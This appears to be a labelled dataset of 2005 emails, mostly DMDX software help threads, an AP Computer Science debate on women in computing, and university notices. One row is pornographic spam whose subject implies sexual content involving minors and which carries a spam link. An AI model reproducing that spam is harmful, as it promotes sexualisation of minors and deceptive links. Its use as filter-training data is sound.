,walter@bankovitch.com,"Tue, 08 Feb 2005 12:51:20 -0800",[funny] Washington Post's Style Invitational: new words,"The Washington Post's Style Invitational once again asked readers to take any word from the dictionary, alter it by adding, subtracting, or changing one letter, and supply a new definition. Here are this year's winners: 1. Intaxication: Euphoria at getting a tax refund, which lasts until you realize it was your money to start with. 2. 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The planning has not yet begun. I'll keep you in the loop. Thanks! -- matt ",0,0 Scot ,DMDX@psy1.psych.arizona.edu,"Wed, 09 Feb 2005 11:24:22 -0700",admirable Younngest Teenies in hard fucking.," Best cuumshots on best darling Girls. http://virtualgamekliK.info/fppxporn.htm?iSPhfd.fX,hj UNSUBSSCRIBE http://virtualgamekliK.info ",1,1 Anna Woollams ,DMDX@psy1.psych.arizona.edu,"Thu, 10 Feb 2005 22:12:56 +1100",[DMDX] DMDX on a Dell Inspiron 6000,"Hello fellow DMDXers! I am contemplating purchasing a Dell Inspiron 6000, however I am slightly worried by the fact that the graphics card is listed as ""Intel Media Accelerator 900"". Has anyone managed to use DMDX on such a laptop? All comments warmly welcomed. Best wishes, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 10 Feb 2005 08:20:50 -0700",[DMDX] Re: DMDX on a Dell Inspiron 6000,"At 10:12 PM 2/10/2005 +1100, you wrote: >Hello fellow DMDXers! > >I am contemplating purchasing a Dell Inspiron 6000, however I am slightly >worried by the fact that the graphics card is listed as ""Intel Media >Accelerator 900"". Has anyone managed to use DMDX on such a laptop? All >comments warmly welcomed. Yeah, I think we have one upstairs that's running DMDX well. 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At the high it was about 30%. It is now in the teens. Most of the CS AP classes in Georgia have 0 to 2 women in them. It will take quite a bit of work to reverse this trend. The Unlocking the Clubhouse: Women in Computing book by Jane Margolis and Allan Fisher is an excellent book that explores the reasons why women don’t take computing and why they do. It also offers suggestions for what to do to encourage women. Why girls don’t take computer classes: • The ‘hacker’ stereotype. Girls don’t want to eat, sleep, and breathe computers. They don’t want to be ‘geeks’. • Courses are dry and boring. They are too abstract. Too much focus on picky details. • The girls have less experience with computers and know less than the boys. Boys have used computers more and are more interested in computer games (Game Boys). • There aren’t enough girls in the class and the class isn’t friendly to girls. • Parents and guidance counselors discourage them. • They don’t want to ruin their grade point average. Why girls do take computer classes: • Computing is useful in many fields. • They like math. • They have been encouraged by friends, teachers, parents, and counselors. • They enjoy problem solving. • They see great job opportunities. • They like creating things on the computer. What can teachers do to encourage women? • Recruit girls explicitly. Talk to individual students. Give talks to math, science, art, band, web design, and other AP classes (History, English). Recruit entire girl teams (cheerleading, softball, etc). Recruit a girl leader and have her recruit her friends. Use the PSAT to target students. • Educate counselors, parents, and teachers on what computing means. Explain what computing is now (beyond data processing) like graphics, video special effects, robotics, information security, simulations. Show how it is essential to many fields. Show that there are jobs in the field (not all jobs will be going overseas). Do an ‘open house’ event for parents. • Have some ‘all girl’ computing events. Do evening or weekend workshops with LEGO robots, Karel J Robot, Turtle graphics, Media manipulation, etc. Bring in professional women or college students that don’t match the ‘geek’ stereotype. We have an African American women CS graduate student at Tech that takes part in beauty pageants and has her own record label. I was a cheerleader in high school, have 3 kids, and ride horses. • Make sure the assignments aren’t geared towards boys: cars, killer robots, and sports. Make assignments more open-ended and fun like create a collage using the same image but with at least 3 image manipulations: negating, mirroring, change color. Play with language (create silly sentences). • Do more than just program. Computer Science is not just programming! Emphasize the creative aspects of computing: design, graphics, human-computer interaction. Show how computers are used in medicine, manufacturing, space exploration, entertainment. I challenge each AP teacher to contact at least 5 women and try to recruit them into CS AP. Ask your current students to also talk to women. Hold an evening event for parents to educate them. Talk to other teachers in your school. Give talks to other AP classes to encourage them to take CS-AP. Bring in women professionals and students to talk to your class or to another class with lots of women. I know this is asking you to do quite a bit but we won't solve this problem by doing nothing. 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TimeDX has an option to modify the number of screen lines, but it seems to make the program crash (even if I change the number by one unit). Is there some way that I can either reduce or increase the refresh rate? Thanks, Colin ---------------------- Dr. Colin J Davis, Dept. of Experimental Psychology, University of Bristol, 8 Woodland Rd, Bristol BS8 1TN Colin.Davis@bristol.ac.uk ph. +44 (0117) 928 9199 fax +44 (0117) 928 8588 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 11 Feb 2005 16:30:57 -0700",[DMDX] Re: modifying the refresh rate,"At 05:35 PM 2/11/2005 +0000, you wrote: >Hi, > >I'd like to run a masked priming experiment in which the prime duration is >33 ms. But I'm using DMDX on a (Win 2000) setup which has a refresh rate >of 13.33 ms, so the closest I can get is either 27 ms or 40 ms. On DMASTR >it used to be possible to change the number of screen lines in order to >reduce the refresh rate. TimeDX has an option to modify the number of >screen lines, but it seems to make the program crash (even if I change the >number by one unit). Is there some way that I can either reduce or >increase the refresh rate? Not under Windows XP/2k/NT. I'm surprised it even lets you, pretty sure there's code in there to disallow it. You can pick other display dimensions that might have a different refresh rate or you should be able to pick faster refresh rates that might let you come closer but changing the number of lines used with another video mode is no longer an option. If you aren't seeing other refresh rates then it's possible you need later display drivers, a later operating system or a better video card and or a better monitor. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #36. Bacteria need vitamin B. ",0,0 """Phys. Rev. Focus"" ",David Pratt ,"Fri, 11 Feb 2005 18:08:01 -0500",Phys. Rev. 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If you would like your club to be on this list, please send to siu@columbia.edu: 1. the name of your club 2. a brief description of what you do 3. the highlights of your events 2004-2005 4. a contact email address We would also appreciate it if you could encourage your members to help us with the handwritten postcards, input for our ""What I wish I knew when packing for Columbia"" tip sheet, and any other suggestions and help they can give us! 2. SIU World Cup Event Our SIU World Cup tournament will be held at the beginning of April, either in the South Lawn or in one of the gyms. Our 1- to 2-day tournament will also feature a grand prize! We are looking for cultural clubs to enter teams into the tournament. If you can't find enough people to form a national team, you may get permission from us to form a regional team (such as West African team or Southeast Asian team). All team lists will have to be turned in by March 19. The entry fee for each team is $5 and goes towards the grand prize! Sign up or send questions to Veli Yasin at vny1@columbia.edu. ",0,0 Michael Trigoboff ,AP Computer Science ,"Thu, 10 Feb 2005 22:51:39 -0800",[ap-compsci] Re: Attracting women to computing," At 07:14 AM 2/10/2005, you wrote: >Why girls don't take computer classes: > >Girls don't want to eat, sleep, and breathe computers. They don't want to >be 'geeks'. All well and good, but learning to program is difficult. Programming is quite different from anything else people encounter, which makes the learning curve extremely challenging. You have to REALLY want to learn this stuff. >Too much focus on picky details. Compilers and operating systems can be annoying that way. It comes with the territory. You have to be the kind of person who experiences the need to get EVERY SINGLE DETAIL PERFECTLY CORRECT as an interesting (or perhaps that should be ""addicting"") challenge. It helps to be somewhat obsessive (he said, self-referentially). >The girls have less experience with computers and know less than the >boys. Boys have used computers more and are more interested in computer >games. This goes back to commitment and fascination. Programming, due to its intrinsic difficulty, REQUIRES a high level of commitment and fascination. >There aren't enough girls in the class and the class isn't friendly to girls. I do my best to make my classes friendly to ALL my students. But the field itself, is INTRINSICALLY ""unfriendly"". Compilers are neither gentle nor polite when your code is wrong. Computers are not kind when they let you know that your code crashed. I've had female colleagues and students who were quite good at programming. They shared the level of commitment and fascination I'm talking about. I do my best to display and impart my enthusiasm for this field, but there has to be a certain amount of intrinsic interest coming in the other direction. The field of programming is hard-edged and unforgiving. You can make the field SEEM more friendly, but you're just creating an illusion. Students attracted by that illusion will be dismayed and discouraged when they encounter the actual harsh reality. Your code doesn't work, you don't know why not, and it's going to take hours of hitting your head against the wall to make that light bulb go on. You have to really LOVE this stuff to put in those hours. -- Michael Trigoboff, Ph.D. Instructor, Computer Information Systems & Computer Science Portland Community College http://spot.pcc.edu/~mtrigobo http://www.pcc.edu Software Engineer MLT Software, Inc. http://mltsoftware.home.comcast.net --- You are currently subscribed to ap-compsci as: riedesel@cse.unl.edu To unsubscribe send a blank email to leave-ap-compsci@lyris.collegeboard.com To update your preferences, search the archives or post messages online, visit http://lyris.collegeboard.com/cgi-bin/lyris.pl?site=collegeboard&enter=ap-compsci If you need help using Lyris web interface go to: http://www.lyris.com/lm_help/4.0/WebInterfaceforUsers.html Visit AP Central(tm) - The online resource for teachers, schools, colleges, and education professionals-- http://apcentral.collegeboard.com The College Board 45 Columbus Avenue New York, NY 10023-6992 ",0,1 Michael Lee ,AP Computer Science ,"Fri, 11 Feb 2005 04:34:47 -0800",[ap-compsci] Re: Attracting women to computing,"I agree with everything you said, EXCEPT.... ""Courses are dry and boring. They are too abstract. Too much focus on picky details."" What else are computers BUT picky details? If you enter the wrong information into a program you are writing or software you are using, you end up with the wrong answer. This is true in ALL CS fields, especially graphic design, where a 1/8"" mistake could cost you thousands at the printer. ""Do more than just program. Computer Science is not just programming! Emphasize the creative aspects of computing: design, graphics, human-computer interaction. Show how computers are used in medicine, manufacturing, space exploration, entertainment."" This is true. Students in my school can take video production, web design, computer animation, etc. If they are in my classroom, they will program. We already talk about all the different things that you can create programs for in my class, but what you are talking about is a guidance issue. Also, those other classes are flooded with young women. Shouldn't we concentrate on getting them to realize that programming makes everything else possible, and is therefore the most important? Shouldn't we focus on getting the best and brightest young women to try for the harder and more abstract courses? As with all education, we should focus on doing what is right, not what will look good on a histogram. Yours, Michael A. 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HERE IS THE MAPPING PART; ! Here BackSpace works, but Space doesn't 1 ; $ \\ +111 ""Get ready !"" // * ""111.wav""; +112 ""Get ready !"" // * ""112.wav""; +113 ""Get ready !"" // * ""113.wav""; +121 ""Get ready !"" // * ""121.wav""; +122 ""Get ready !"" // * ""122.wav""; +123 ""Get ready !"" // * ""123.wav""; +131 ""Get ready !"" // * ""131.wav""; +132 ""Get ready !"" // * ""132.wav""; +133 ""Get ready !"" // * ""133.wav""; \\ $ 0 ""THAT IS IT, THANK YOU"" l; $ -----",0,0 ,,,,"mserver3.gmu.edu (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep 8 2003)) with ESMTP id <[log in to unmask]> for bwhite@ims-ms-daemon; Sun, 13 Feb 2005 20:50:05 -0500 (EST) Received: from talos1.gmu.edu (talos1.gmu.edu [129.174.0.106]) by mail01.gmu.edu (8.12.11/8.12.11) with ESMTP id j1E1j1ni021749; Sun, 13 Feb 2005 20:45:02 -0500 (EST) Received: from hotmail.com ([64.4.61.25]) by talos1.gmu.edu (MailFrontier 3.0.4.2019) with ESMTP; Sun, 13 Feb 2005 20:45:03 -0500 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 13 Feb 2005 17:45:01 -0800 Received: from 158.59.27.31 by by102fd.bay102.hotmail.msn.com with HTTP; Mon, 14 Feb 2005 01:44:48 +0000 (GMT) Date: Sun, 13 Feb 2005 20:44:48 -0500 From: robert efimba <[log in to unmask]> Subject: Results of National Capital Region College Student Paper Competition 2005 X-Originating-IP: [158.59.27.31] X-Sender: [log in to unmask] To: [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask] Cc: [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask] Message-id: <[log in to unmask]> MIME-version: 1.0 Content-type: text/html; format=flowed Content-transfer-encoding: 8BIT X-Originating-Email: [[log in to unmask]] X-Mlf-Reason: no-judgement Original-recipient: rfc822;[log in to unmask] X-OriginalArrivalTime: 14 Feb 2005 01:45:01.0128 (UTC) FILETIME=[CC135480:01C51236] Dear Deans and Advisors: On behalf of WSE and DCCEAS, we want to thank all of you and your associates and assistants again for your efforts LAST YEAR (2004) in getting a total of 11 students from 4 of the local engineering schools to enter papers the 2004 competition, about twice as many as in 2003. All the entrants were congratulated and were all seen as winners, although only six were actually recognized with awards at the banquet on Feb 28, 2004. THIS YEAR (2005), we received a total of only two papers. Fortunately, the papers were of such high quality that two separate panels of Judges voted unanimously for the papers to receive first place awards in their respective categories, as indicated in the results shown below. We would appreciate your comments on how to improve the competition and overall participation, and would be glad to meet with you and your faculty and students at your convenience. We also want to thank the WSE and DCCEAS Officials and Judges listed below for their invaluable assistance. Happy Black History Month and Happy Engineers Week Greetings from: Bob Efimba, P.E. WSE Past President and Chair of the Education Committee DCCEAS Past President and Chair of the Education Committee ============================================================= 2005 DCCEAS Undergraduate First Prize - DCCEAS Award Certificate and $500.00 Check for the paper: ""Adjustable Time Delays For Optical Clock Recovery Systems,"" by Amir Ali Ahmadi, a Junior in Electrical Engineering, University of Maryland, College Park The above paper was submitted to the Council by the Washington Society of Engineers, a member of the Council, and was evaluated by a panel of 4 DCCEAS Judges comprising Susan Parsons, DCCEAS President, Frank Winfield, P.E., Past President of DCCEAS. Ruplu Bhattacharya, Past Council Treasurer, and Murty Polavarapu, a member of the Council, with Bob Efimba, Sc.D., P.E., Past Council President and Chair of the DCCEAS Education Committee, serving as non-voting Chair of the DCCEAS panel of Judges. ----------------------------------------------------- 2005 DCCEAS Doctoral First Prize - DCCEAS Award Certificate and $800.00 Check for the paper: ""Model for the Least-Cost Telecommunication Infrastructure in a remote area,"" by M. Pipattanasomporn, doctoral student, Electrical Engineering Department, Alexandria research Institute, Virginia Tech, Alexandria Campus. The above paper was submitted to the Council by the IEEE Northern Virginia Section, a member of the Council, and was evaluated by a panel of 3 DCCEAS Judges comprising Susan Parsons, DCCEAS President, Frank Winfield, P.E., Past President of DCCEAS, and Ruplu Bhattacharya, Past Council Treasurer. with Bob Efimba, Sc.D., P.E., Past Council President and Chair of the DCCEAS Education Committee, serving as non-voting Chair of the DCCEAS panel of Judges. ============================================================= Amir Ali Ahmadi and M. Pipattanasomporn are invited to come to the awards banquet on Feb 26 (see www.dcceas.org ) as guests of DCCEAS. They should contact the DCCEAS Results announced 2/13/05 ============================================================= -------------------------------------------------------------------------------------------- Here isome old news from LAST year: ====================== >From: [log in to unmask]> To: [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask] >CC: [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask], [log in to unmask] >Subject: Results of National Capital Region College Student Paper Competition 2004 >Date: Mon, 09 Feb 2004 17:12:12 -0500 > >Dear Deans and Advisors: > >On behalf of WSE and DCCEAS, we want to thank you and your >associates and assistants for your efforts in getting a total of 11 >students from 4 of the local engineering schools to enter papers in >this year's 2004 competition, about twice as many as last year. > >All the entrants should be congratulated. They are all winners, >although only six will be recognized at the banquet on Feb 28, as >indicated in the results shown below. We would appreciate your >comments on how to improve the competition and overall >participation. > >We also want to thank the WSE and DCCEAS Officials and Judges listed >below for their invaluable assistance. > >Happy Black History Month and >Happy National Engineers Week Greetings from: > >Bob Efimba, P.E. >WSE Past President and Chair of the Education Committee >DCCEAS Past President and Chair of the Education Committee >============================================================= > >Results of the 2004 College Student Paper Competition >in the National Capital Region sponsored by DCCEAS, the >District of Columbia Council of Engineering and Architectural >Societies, Inc. > >1. DCCEAS Undergraduate First Prize - >DCCEAS Award Certificate and $500.00 Check for the paper: >""Strain Response of Field Actuated Elastomeric Polymer Dielectrics >for Micro Air Vehicle Applications,"" >by Alice Ryan, a Senior in Aerospace Engineering, University of >Maryland, College Park > >The above paper was submitted to the Council by the Washington, DC >Chapter of ASM International, a member of the Council, and was >evaluated by a panel of 3 DCCEAS Judges comprising Howard Gibbs, >P.E., DCCEAS President, and Toni Marechaux, Ph.D., and Burt Koske, >Past Presidents of DCCEAS. John Wall, Council Treasurer, was an >observer, and Bob Efimba, Sc.D., P.E., Past Council President and >Chair of the DCCEAS Education Committee, served as non-voting Chair >of the DCCEAS panel of Judges. > > >Ms Ryan is invited to come to the awards banquet on Feb 28 (see >www.dcceas.org) as a guest of DCCEAS. She should contact the DCCEAS >Treasurer John Wall at [log in to unmask] >The following three WSE award winners and the two students for >honorable mention listed below are invited to come to the banquet as >guests of WSE. >They should contact the WSE Treasurer Frank Winfield at >[log in to unmask] > 2/08/04 >-------------------------------------------------------------------------------------------- >Results of the 2004 Young Engineer Prize (YEP) >College Student Paper Competition conducted by WSE, the >Washington Society of Engineers > >1. WSE/YEP Undergraduate First Prize - >WSE Award Certificate and $500.00 Check for the paper: >""Effect of Electrode Shape, Length, and Spacing on Ion Wind >Propulsive Efficiency for Micro Air Vehicle Applications "" >by Benjamin Berry, a Senior in Aerospace Engineering, University of >Maryland, College Park > >2. WSE/YEP Undergraduate Second Prize - >WSE Award Certificate and $350.00 Check for the paper: >""Brittle Cellular Materials: Potential Application in Seismic Hazard >Reduction of Buildings"" by David Nerbun, an Undergraduate in Civil >Engineering, The Catholic University of America, Washington, DC > > >3. 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Bernard White, Ph.D. Associate Dean School of Information Technology and Engineering Science & Technology Bldg. II, RM 160; MSN 5C8 George Mason University Fairfax, Virginia 22030 [log in to unmask]; 703-993-1511; FAX - 703-993-1633 [text/html] Back to: Top of message | Previous page | Main ALL-ITE-UGRADS-L page LISTSERV.GMU.EDU",1,1 Andy ,DMDX@psy1.psych.arizona.edu,"Mon, 14 Feb 2005 07:31:17 -0000",[DMDX] RE: Trouble mapping Spacebar for a response,"Dear Arman, try changing your bit to . I find it odd though that your space bar is called SpaceBar, something to do with the external keyboard? Also, here's some incredibly ugly (and probably incredibly inefficient) code I put together a while back that allowed me to remap responses to the buttons of a mouse. I bet there are much nicer examples on the DMDX list archive though. Best, Andy. F2 d7 ... +1 * ""y"", ""top"", ""left"" ; -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Arman Abrahamyan Sent: 14 February 2005 00:54 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Trouble mapping Spacebar for a response Greetings ! I was trying to map a SpaceBar on computer keyboard for a response. However, it doesn't work. I could successfully map few other buttons (e.g. Left and Right Arrows, Backspace), but not the SpaceBar (I got the SpaceBar button name from TimeDX). I am using Acer TravelMate 8000 laptop with an external keyboard. I have tried to disconnect the external keyboard, but it didn't help either. Any ideas what could be a possible cause? Thank you for your help, Arman Here is an example of a code I am using: ---- $ ! HERE IS THE MAPPING PART; ! Here BackSpace works, but Space doesn't 1 ; $ \\ +111 ""Get ready !"" // * ""111.wav""; +112 ""Get ready !"" // * ""112.wav""; +113 ""Get ready !"" // * ""113.wav""; +121 ""Get ready !"" // * ""121.wav""; +122 ""Get ready !"" // * ""122.wav""; +123 ""Get ready !"" // * ""123.wav""; +131 ""Get ready !"" // * ""131.wav""; +132 ""Get ready !"" // * ""132.wav""; +133 ""Get ready !"" // * ""133.wav""; \\ $ 0 ""THAT IS IT, THANK YOU"" l; $ ----- ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 Arman Abrahamyan ,DMDX@psy1.psych.arizona.edu,"Mon, 14 Feb 2005 20:28:49 +1100",[DMDX] RE: RE: Trouble mapping Spacebar for a response,"Andy, I have tried to replace with and got the following error message ""Button name <+SpaceBar> not found on input devices"". Apparently, the name of space bar on the laptop is ""Space"". When I use DMDX doesn't complain and executes the code. However, when I press the space bar I get ""No Response"" message, indicating that the DMDX doesn't register pressing the space bar due to some reason. I assume that space bar has a special function in DMDX and doesn't get mapped easily, if at all. If there are no other suggestions I will try to use your code as a last resort. Thank you, Arman -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Andy Sent: Monday, February 14, 2005 6:31 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Trouble mapping Spacebar for a response Dear Arman, try changing your bit to . I find it odd though that your space bar is called SpaceBar, something to do with the external keyboard? Also, here's some incredibly ugly (and probably incredibly inefficient) code I put together a while back that allowed me to remap responses to the buttons of a mouse. I bet there are much nicer examples on the DMDX list archive though. Best, Andy. F2 d7 .. +1 * ""y"", ""top"", ""left"" ; -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Arman Abrahamyan Sent: 14 February 2005 00:54 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Trouble mapping Spacebar for a response Greetings ! I was trying to map a SpaceBar on computer keyboard for a response. However, it doesn't work. I could successfully map few other buttons (e.g. Left and Right Arrows, Backspace), but not the SpaceBar (I got the SpaceBar button name from TimeDX). I am using Acer TravelMate 8000 laptop with an external keyboard. I have tried to disconnect the external keyboard, but it didn't help either. Any ideas what could be a possible cause? Thank you for your help, Arman Here is an example of a code I am using: ---- $ ! HERE IS THE MAPPING PART; ! Here BackSpace works, but Space doesn't 1 ; $ \\ +111 ""Get ready !"" // * ""111.wav""; +112 ""Get ready !"" // * ""112.wav""; +113 ""Get ready !"" // * ""113.wav""; +121 ""Get ready !"" // * ""121.wav""; +122 ""Get ready !"" // * ""122.wav""; +123 ""Get ready !"" // * ""123.wav""; +131 ""Get ready !"" // * ""131.wav""; +132 ""Get ready !"" // * ""132.wav""; +133 ""Get ready !"" // * ""133.wav""; \\ $ 0 ""THAT IS IT, THANK YOU"" l; $ ----- ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 Andy ,DMDX@psy1.psych.arizona.edu,"Mon, 14 Feb 2005 09:49:00 -0000",[DMDX] Arman Abrahamyan [a.abrahamyan@uws.edu.au],"Hi Arman, In the DMDX help file, under DMDX help, input, I found the below info. Looks like the space bar is already been mapped as a ""REQUEST"". KEYBOARD +Space REQUEST +Left Shift NEG_RESP +Right Shift POS_RESP Not entirely sure what a request is, but try unmapping it first (in the header code at top of dmdx script) using the below function. Un-Map Request Keyword Parameter and switch to unmap all button mappings to the request input. Cheers, Andy. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Arman Abrahamyan Sent: 14 February 2005 09:29 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: RE: Trouble mapping Spacebar for a response Andy, I have tried to replace with and got the following error message ""Button name <+SpaceBar> not found on input devices"". Apparently, the name of space bar on the laptop is ""Space"". When I use DMDX doesn't complain and executes the code. However, when I press the space bar I get ""No Response"" message, indicating that the DMDX doesn't register pressing the space bar due to some reason. I assume that space bar has a special function in DMDX and doesn't get mapped easily, if at all. If there are no other suggestions I will try to use your code as a last resort. Thank you, Arman -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Andy Sent: Monday, February 14, 2005 6:31 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Trouble mapping Spacebar for a response Dear Arman, try changing your bit to . I find it odd though that your space bar is called SpaceBar, something to do with the external keyboard? Also, here's some incredibly ugly (and probably incredibly inefficient) code I put together a while back that allowed me to remap responses to the buttons of a mouse. I bet there are much nicer examples on the DMDX list archive though. Best, Andy. F2 d7 . +1 * ""y"", ""top"", ""left"" ; -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Arman Abrahamyan Sent: 14 February 2005 00:54 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Trouble mapping Spacebar for a response Greetings ! I was trying to map a SpaceBar on computer keyboard for a response. However, it doesn't work. I could successfully map few other buttons (e.g. Left and Right Arrows, Backspace), but not the SpaceBar (I got the SpaceBar button name from TimeDX). I am using Acer TravelMate 8000 laptop with an external keyboard. I have tried to disconnect the external keyboard, but it didn't help either. Any ideas what could be a possible cause? Thank you for your help, Arman Here is an example of a code I am using: ---- $ ! HERE IS THE MAPPING PART; ! Here BackSpace works, but Space doesn't 1 ; $ \\ +111 ""Get ready !"" // * ""111.wav""; +112 ""Get ready !"" // * ""112.wav""; +113 ""Get ready !"" // * ""113.wav""; +121 ""Get ready !"" // * ""121.wav""; +122 ""Get ready !"" // * ""122.wav""; +123 ""Get ready !"" // * ""123.wav""; +131 ""Get ready !"" // * ""131.wav""; +132 ""Get ready !"" // * ""132.wav""; +133 ""Get ready !"" // * ""133.wav""; \\ $ 0 ""THAT IS IT, THANK YOU"" l; $ ----- ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 Arman Abrahamyan ,DMDX@psy1.psych.arizona.edu,"Mon, 14 Feb 2005 21:36:14 +1100",[DMDX] RE: Trouble mapping Spacebar for a response,"Andy, Program works smoothly after unmapping the space bar from REQUEST and mapping it as a NEG_RESP. Thanks for your time and help ! Cheers, Arman -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Andy Sent: Monday, February 14, 2005 8:49 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Arman Abrahamyan [a.abrahamyan@uws.edu.au] Hi Arman, In the DMDX help file, under DMDX help, input, I found the below info. Looks like the space bar is already been mapped as a ""REQUEST"". KEYBOARD +Space REQUEST +Left Shift NEG_RESP +Right Shift POS_RESP Not entirely sure what a request is, but try unmapping it first (in the header code at top of dmdx script) using the below function. Un-Map Request Keyword Parameter and switch to unmap all button mappings to the request input. Cheers, Andy. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Arman Abrahamyan Sent: 14 February 2005 09:29 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: RE: Trouble mapping Spacebar for a response Andy, I have tried to replace with and got the following error message ""Button name <+SpaceBar> not found on input devices"". Apparently, the name of space bar on the laptop is ""Space"". When I use DMDX doesn't complain and executes the code. However, when I press the space bar I get ""No Response"" message, indicating that the DMDX doesn't register pressing the space bar due to some reason. I assume that space bar has a special function in DMDX and doesn't get mapped easily, if at all. If there are no other suggestions I will try to use your code as a last resort. Thank you, Arman -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Andy Sent: Monday, February 14, 2005 6:31 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Trouble mapping Spacebar for a response Dear Arman, try changing your bit to . I find it odd though that your space bar is called SpaceBar, something to do with the external keyboard? Also, here's some incredibly ugly (and probably incredibly inefficient) code I put together a while back that allowed me to remap responses to the buttons of a mouse. I bet there are much nicer examples on the DMDX list archive though. Best, Andy. F2 d7",0,0 Andy ,DMDX@psy1.psych.arizona.edu,"Mon, 14 Feb 2005 10:39:19 -0000",[DMDX] RE: Arman Abrahamyan [a.abrahamyan@uws.edu.au],"Excuse my previous ramblings! The code below works on my machine: +111 ""Get ready !"" // * ""111.wav""; +112 ""Get ready !"" // * ""112.wav""; +113 ""Get ready !"" // * ""113.wav""; +121 ""Get ready !"" // * ""121.wav""; +122 ""Get ready !"" // * ""122.wav""; +123 ""Get ready !"" // * ""123.wav""; +131 ""Get ready !"" // * ""131.wav""; +132 ""Get ready !"" // * ""132.wav""; +133 ""Get ready !"" // * ""133.wav""; \\ $ 0 ""THAT IS IT, THANK YOU"" l; $ Best, Andy. PS I've mapped the response to the g button, but this may be unnecessary. -----Original Message----- From: Andy [mailto:woodsat@tcd.ie] Sent: 14 February 2005 09:49 To: 'DMDX@psy1.psych.arizona.edu' Subject: [DMDX] Arman Abrahamyan [a.abrahamyan@uws.edu.au] Hi Arman, In the DMDX help file, under DMDX help, input, I found the below info. Looks like the space bar is already been mapped as a ""REQUEST"". KEYBOARD +Space REQUEST +Left Shift NEG_RESP +Right Shift POS_RESP Not entirely sure what a request is, but try unmapping it first (in the header code at top of dmdx script) using the below function. Un-Map Request Keyword Parameter and switch to unmap all button mappings to the request input. Cheers, Andy. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Arman Abrahamyan Sent: 14 February 2005 09:29 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: RE: Trouble mapping Spacebar for a response Andy, I have tried to replace with and got the following error message ""Button name <+SpaceBar> not found on input devices"". Apparently, the name of space bar on the laptop is ""Space"". When I use DMDX doesn't complain and executes the code. However, when I press the space bar I get ""No Response"" message, indicating that the DMDX doesn't 